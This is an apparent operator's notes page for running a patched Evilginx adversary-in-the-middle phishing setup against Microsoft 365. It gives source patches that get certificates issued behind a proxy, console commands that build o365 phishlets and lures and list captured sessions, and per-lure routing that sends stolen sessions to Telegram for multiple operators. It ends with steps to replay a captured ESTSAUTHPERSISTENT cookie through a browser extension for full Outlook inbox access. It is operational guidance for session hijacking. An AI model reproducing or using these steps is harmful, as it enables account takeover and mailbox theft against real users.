Evilginx AitM

Jan Bakker fork — 3 source patches — confirmed S39/S42

The 3 Source Patches

FileChangeWhy
main.goPort 443 to 8443Traefik owns 443, evilginx listens on 8443
certdb.goHTTP-01 to DNS-01 ACMEHTTP-01 fails behind proxy; DNS-01 validates via Cloudflare API
nameserver.goAA flag = trueWithout it Google DNS returns SERVFAIL, cert never issues. One line. Everything depends on it.

Key Commands

config domain yourdomain.com
config ip VPS_IP
phishlets hostname o365 yourdomain.com
phishlets enable o365
lures create o365
lures get-url 0
sessions
sessions 5
blacklist unban all

Per-Lure Routing

One evilginx instance supports unlimited lure URLs per phishlet. Each session stores landing_url. Map lure paths to different Telegram chat IDs in the notify script. 10 operators, 10 lures, 10 destinations, zero extra infrastructure. Not in official documentation — found by reading data.db directly.

The ESTSAUTHPERSISTENT Finding

Microsoft issues ESTSAUTHPERSISTENT at the identity provider level, not the application level. One capture from ANY M365 login grants browser UI access to all M365 services: Outlook, Teams, SharePoint, OneDrive. The victim logged into the o365 lure. The cookie opens Outlook. They are not the same service. That is the finding.

Use Cookie-Editor browser extension: import ESTSAUTHPERSISTENT value, visit outlook.office.com — full inbox access.